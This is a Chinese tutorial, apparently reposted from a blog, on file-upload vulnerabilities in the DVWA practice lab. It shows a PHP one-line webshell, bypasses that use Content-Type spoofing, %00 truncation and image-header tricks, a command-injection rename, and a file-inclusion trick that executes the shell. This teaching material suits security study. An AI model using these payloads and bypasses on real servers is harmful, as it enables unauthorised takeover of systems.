文件上传漏洞实验-通过截取http请求绕过前端javascript验证进行文件上传

news2025/7/7 20:18:23

1、什么是文件上传漏洞

文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术门槛非常的低,对于攻击者来说很容易实施。即便很容易被攻击者利用漏洞,但是在今天的现代互联网的Web应用程序,它是一种常见的要求,因为它有助于提高业务效率。企业支持门户,给用户各企业员工有效地共享文件。允许用户上传图片,视频,头像和许多其他类型的文件。向用户提供的功能越多,Web应用受到攻击的风险和机会就越大,这种功能会被恶意用户利用,获得到一个特定网站的权限,或危及服务器的可能性是非常高的。

2、文件上传检测流程

一般情况下,一个文件以HTTP协议进行上传时,通常都是以POST请求发送至Web服务器的。Web服务器在接收到请求后,用户与Web服务器建立连接,并传输数据。Web服务器在接收文件上传时,一般会有如下检测流程:

①客户端javascript校验(一般只校验文件的扩展名)。
②服务端文件头content-type字段校验。
③服务端文件内容校验。
④服务端目录路径检测。
⑤服务端文件扩展名检测。
⑥服务端后缀名黑白名单校验。
⑦服务端自定义正则校验。

3、文件上传漏洞产生的原因和危害

由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件。打个比方来说,如果你使用 windows 服务器并且以 asp 作为服务器端的动态网站环境,那么在你的网站的上传功能处,就一定不能让用户上传 asp 类型的文件,否则他上传一个 webshell,你服务器上的文件就可以被他任意更改了。因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。

对于初学者而言,找漏洞最好是基于白盒审计进行,所谓白盒审计可以简单地理解为就是看着代码找漏洞,那么在正式挖洞前,我们先看看开源的DVWA给出的四种级别的文件上传的源代码。

4、DVWA—文件上传(low)

查看源码文件
在这里插入图片描述

basename(path,suffix) :
函数返回路径中的文件名部分,如果可选参数suffix为空,则返回的文件名包含后缀名,反之不包含后缀名。

可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息

漏洞利用:
文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知。不幸的是,这里三个条件全都满足。

我们先上传一个一句话木马:<?php @eval($_POST[123]);?>
在这里插入图片描述
在这里插入图片描述

可以看到上传成功并且返回了路径
再用蚁剑工具进行连接,得到服务器控制权
在这里插入图片描述
在这里插入图片描述

5、DVWA—文件上传(Medium)

先看下代码和low级的有什么区别
在这里插入图片描述

增加了对上传文件大小和类型的限制。文件大小限制问题不大,但是类型现在只允许上传jpeg和png的图片了。同样继续找办法绕过去。
在这里插入图片描述

方法一

因为只允许上传jpeg和png文件所以php文件类型一定被过滤了,通过burp抓包分析,在客户端上传页面这一侧,没有做限制,限制主要是服务器这边做的。而且服务器限制类型也不是通过后缀名,只是通过" Content-Type"这个属性来判断。

因此我们用burp将截取的报文修改一下

在这里插入图片描述

将Content-Type: application/octet-stream改为Content-Type:image/jpeg

在这里插入图片描述

执行
在这里插入图片描述

上传成功并且返回了文件路径
然后使用蚁剑工具尝试连接
在这里插入图片描述

连接成功,在蚁剑工具里可以任意上传下载甚至删除

方法二

上传文件名是"123.jpeg"的文件,随后在burp里面修改文件名,而不用修改" Content-Type "的内容,也可以实现文件上传。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
成功!

方法三

%00截断

在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断。

可选方法举例如下:

更改文件后缀为123.php.jpg,设置代理并上传。抓包并将php.jpg中的字符“.”(十六进制0x2e)更改为00。
更改文件后缀为123.php.jpg,设置代理并上传。抓包并在php.jpg中的字符“.”(十六进制0x2e)前右键选择insert byte,增加一个0x00字节。
更改文件后缀为123.php%00.jpg,设置代理并上传。抓包并选中%00,右键url-decode。

先删掉low级别上传的木马以免影响操作结果
在这里插入图片描述

文件改名并写入一句话木马
在这里插入图片描述

上传文件burp抓包
在这里插入图片描述
在这里插入图片描述

执行
在这里插入图片描述

上传成功
在这里插入图片描述
在这里插入图片描述

连接成功

6、DVWA—文件上传(High)

方法一

初学者先看代码
在这里插入图片描述

重点看下红色框部分,改进了两个很重要的地方:
①提取了后缀名进行判断,这样就不大好改名了。

②"getimagesize"虽然是用来获取图片文件大小的函数,但如果上传文件的文件头不是图像类型的话,会返回false。

第二条其实有办法绕过,我们可以在文件头部加上了jpg格式的GIF89
在这里插入图片描述

然后将文件名后缀改为.jpg
在这里插入图片描述
在这里插入图片描述

文件可以上传成功,但是改名就比较麻烦了,无法在上传文件这个漏洞搞定,只能借助其他漏洞。
利用DVWA中的Command Injection(命令注入),将123.jpg改名成123.php
在这里我犯了个低级错误Windows下的文件改名用的是move,Linux才是mv,感谢大佬涛

|move ../../hackable/uploads/123.jpg../../hackable/uploads/123.php

在这里插入图片描述
在这里插入图片描述
改名成功!
接下来蚁剑获取webshll
在这里插入图片描述
在这里插入图片描述

方法二

创建一个图片马,直接上传,一句话木马藏在图片末尾
虽然我们的一句话木马上传成功了,但是他是以jpg为后缀的,蚁剑不能直接连接,必须让他作为php解析。
在这里插入图片描述

<?php @eval($_POST[123]);?>

蚁剑的原理是向上传文件发送包含参数的post请求,通过控制参数来执行不同的命令,而这里服务器将木马文件解析成了图片文件,因此向其发送post请求时,服务器只会返回这个“图片”文件,并不会执行相应命令。

那么,怎么才能让我们的图片以 php 格式运行呢? 文件包含!我们可以利用DVWA的文件包含漏洞,让我们的图片格式的一句话木马以php格式运行。
我们访问该URL:

http://127.0.0.1/vulnerabilities/fi/?page=file:///D:/phpstudy_pro/WWW/DVWA-master/hackable/uploads/666.jpg

把该图片当成php文件执行
然后我们就可以用中国菜刀进行连接了
因为这个网站是要登录的,所以我们在蚁剑中右键,然后浏览网站,然后登录就可以在蚁剑中保持我们的session。然后就可以获取Webshell了。
在这里插入图片描述

不知道什末原因我的浏览器一直显示解析错误,我尝试解析.txt/.php文件都可以成功解析,
问题应该出在了file协议上查一下file协议也没搞懂

浏览器通过file://访问文件和http://访问文件的区别:

file协议用于访问本地计算机中的文件,好比通过资源管理器中打开文件一样,需要主要的是它是针对本地的,即file协议是访问你本机的文件资源。

http访问本地的html文件,相当于将本机作为了一台http服务器,然后通过localhost访问的是你自己电脑上的本地服务器,再通过http服务器去访问你本机的文件资源。

再简单点就是file只是简单请求了本地文件,将其作为一个服务器未解析的静态文件打开。而http是在本地搭建了一个服务器再通过服务器去动态解析拿到文件。

其他区别:

file协议只能在本地访问
本地搭建http服务器开放端口后他人也可以通过http访问到你电脑中的文件,但是file协议做不到
file协议对应有一个类似http的远程访问,就是ftp协议,即文件传输协议。
file协议无法实现跨域

http://127.0.0.1/hackable/uploads/666.jpg

在这里插入图片描述

7、DVWA—文件上传(Impossible)

先看下代码的主要部分
在这里插入图片描述

①使用了"imagecreatefromjpeg"和"imagecreatefrompng"对上传的文件重新生成为图片,去掉了不属于图片的部分。

②给文件重命名成随机字符串,可以去掉一些asp或者php等脚本属性,就是完全无法执行了。 基本上上面这两点限制做完,只能上传图片了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/9305.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何使用AI图片清晰度增强器软件增强和锐化图片、提高照片清晰度并去除噪点

通过使用深度学习AI算法对照片进行批量锐化、去噪和去模糊处理&#xff0c;该程序可以应用再大部分照片和图片&#xff0c;包括徽标、卡通和动漫 可能很多朋友都会遇到需要批量增强和锐化照片的情况&#xff1a;例如&#xff0c;如果拍摄过程中曝光不足、夜晚噪点多或者画面模…

基于蚁群算法的TPS问题求解策略研究(Matlab代码实现)

&#x1f352;&#x1f352;&#x1f352;欢迎关注&#x1f308;&#x1f308;&#x1f308; &#x1f4dd;个人主页&#xff1a;我爱Matlab &#x1f44d;点赞➕评论➕收藏 养成习惯&#xff08;一键三连&#xff09;&#x1f33b;&#x1f33b;&#x1f33b; &#x1f34c;希…

Java面试干货:关于数组查找的几个常用实现算法

查找算法在我们的面试和开发中&#xff0c;是很常见的一种算法&#xff0c;今天我就给大家介绍几个常用的查找算法。 一. 线性查找 1.概念 线性查找也叫顺序查找&#xff0c;这是最基本的一种查找方法。该算法是从给定的值中进行搜索&#xff0c;从一端开始逐一检查每个元素…

华为堆叠技术讲解

目录 为什么出现堆叠 什么是堆叠 堆叠的特征 堆叠的优缺点 华为堆叠技术 框式交换机堆叠技术CSS CSS堆叠涉及的相关基础概念 主交换机选举过程 堆叠系统主备倒换 CSS两种堆叠口 CSS堆叠方式 CSS以太网链路聚合 本地优先转发 CSS双主检测 CSS版本升级 CSS堆叠实…

java和vue车辆管理系统车管所系统

简介 车辆管理系统车管所系统&#xff0c;管理员添加车主信息&#xff0c;车主提交自己的车辆信息&#xff0c;管理员审核车辆&#xff0c;对车辆行进年检&#xff0c;统计&#xff0c;记录车辆违规信息。车主可以查看自己的车辆信息、投诉、查看自己的违规记录等。 演示视频…

【附源码】计算机毕业设计JAVA客户台账管理

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat8.5 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; Springboot mybatis Maven Vue 等等组成&#xff0c;B/…

2021亚太杯C题全网最全解题思路+塞罕坝林场数据数据分享

全网绝对能获奖的免费思路&#xff01;&#xff01;&#xff01; 文章目录1.写在前面&#xff0c;需要塞罕坝林场数据的这里链接获取&#xff1a;2.C题全网最全解题思路1.写在前面&#xff0c;需要塞罕坝林场数据的这里链接获取&#xff1a; https://download.csdn.net/downlo…

如何在SpringBoot项目中,实现记录用户登录的IP地址及归属地信息?

在登录模块&#xff0c;我们经常要记录登录日志&#xff0c;其中比较重要的信息有ip地址和ip归属地&#xff0c;像我们公司开发的产品会提供给用户试用&#xff0c;因为我们做的是无人机应用方向的&#xff0c;即使试用也会产生费用&#xff0c;因为我们很多功能一旦用了就会消…

GFS分布式文件系统及其部署

目录 一、GlusterFS 1 MFS 2 GlusterFS 二 、GlusterFs特点 1 扩展性和高性能 2 高可用性 3 全局统一命名空间 4 弹性卷管理 5 基于标准协议 三 GlusterFS 术语 1 Brick(存储块) 2 volume(逻辑卷) 3 FUSE 4 VFS 5 Glusterd (后台管理进程) 四 模块化堆枝式架构…

深度支持赛事宣发,DF平台助推第三届全国人工智能大赛顺利举办!

由深圳市人民政府和鹏城实验室主办、深圳市科技创新委员会与新一代人工智能产业技术创新战略联盟联合承办的人工智能领域顶尖赛事——第三届全国人工智能大赛已圆满落幕。DataFountain大数据竞赛平台&#xff08;简称DF平台&#xff09;作为本次大赛的宣传合作伙伴&#xff0c;…

EFK部署centos7.9(二)head插件部署

安装配置head监控插件 本人是在ES服务器安装head插件是Nodejs实现的&#xff0c;所以需要先安装Nodejs。 wget https://nodejs.org/dist/v14.17.6/node-v14.17.6-linux-x64.tar.xz 下载安装包 tar xf node-v14.17.6-linux-x64.tar.xz -C /usr/local/ 解压安装包 vim /e…

PostgreSQL实战之物理复制和逻辑复制(三)

目录 PostgreSQL实战之物理复制和逻辑复制&#xff08;三&#xff09; 3.1 单实例、异步流复制、同步流复制性能测试 3.1 读性能测试 3.2 写性能测试 PostgreSQL实战之物理复制和逻辑复制&#xff08;三&#xff09; 3.1 单实例、异步流复制、同步流复制性能测试 根据Post…

智慧交通解决方案-最新全套文件

智慧交通解决方案-最新全套文件一、建设背景二、思路架构1、先进性2、全智慧化3、可靠性4、保密性三、解决方案四、获取 - 智慧交通全套最新解决方案合集一、建设背景 智能交通系统是未来交通系统的发展方向&#xff0c;它是将先进的信息技术、数据通讯传输技术、电子传感技术…

kt-connect使用-k8s流量代理

1.下载kt安装包 地址: https://github.com/alibaba/kt-connect/releases 2.下载k8s集群的config文件 cd /root/.kube 下载服务器的config文件3.安装config文件 切换到用户目录C:\Users\yangx创建.kube文件夹mkdir .kube目录结构为C:\Users\yangx\.kube把下载config文件移动到…

XSS进阶三

目录实验目的预备知识实验环境实验步骤一实例七、和实例六好像木有区别实验步骤二实例八、有时候你要跳出你的思维实验步骤三实例九、将xss进行到底实验目的 1.深入理解xss工作原理。 2.怎么去绕过规则实现xss。 3.培养学生的独立思考能力。 预备知识 XSS基础、XSS进阶一。 …

字节跳动测试岗面试记:二面被按地上血虐,所幸Offer已到手...

在互联网做了几年之后&#xff0c;去大厂“镀镀金”是大部分人的首选。大厂不仅待遇高、福利好&#xff0c;更重要的是&#xff0c;它是对你专业能力的背书&#xff0c;大厂工作背景多少会给你的简历增加几分竞争力。 但说实话&#xff0c;想进大厂还真没那么容易。最近面试字…

[力扣] 剑指 Offer 第二天 - 从尾到头打印链表

[力扣] 剑指 Offer 第二天 - 从尾到头打印链表题目来源题目描述题目分析解题思路递归反转数组&#xff08;切片&#xff09;代码实现递归执行结果复杂度分析反转切片执行结果复杂度分析总结耐心和持久胜过激烈和狂热。 题目来源 来源&#xff1a;力扣&#xff08;LeetCode&…

【微服务】如何利用Nacos Config实现服务配置?

微服务--Nacos Config1、前言2、Nacos Config2.1 简介2.2 常见的服务配置中心3、Nacos Config入门4、Nacos Config深入4.1 配置动态刷新4.2 配置共享4.2.1 同一个微服务不同环境之间共享配置4.2.2 不同微服务之间共享配置5、Nacos的几个概念6、总结1、前言 在前期的文章中&…

纯代谢冲上Nature不是幻想,蛋氨酸饮食可影响小鼠癌症预后,同样可影响人体代谢

百趣代谢组学文献分享一篇题名 "Dietary methionine influences therapy in mouse cancer models and alters human metabolism"&#xff0c;发表在Nature。文章是做的纯代谢研究&#xff08;饮食影响癌症和代谢&#xff09;。纯代谢冲上Nature&#xff0c;这篇文章是…

C++:重定义:符号重定义:变量重定义(三):解决变量重定义(声明extern外部变量)

在上一篇文章中&#xff0c;我们知道&#xff1a;可以通过声明 const/ static 变量来隔离变量在源文件的可见性&#xff0c;来解决变量重复定义的问题&#xff0c; C&#xff1a;重定义&#xff1a;符号重定义&#xff1a;变量重定义&#xff08;二&#xff09;&#xff1a;解…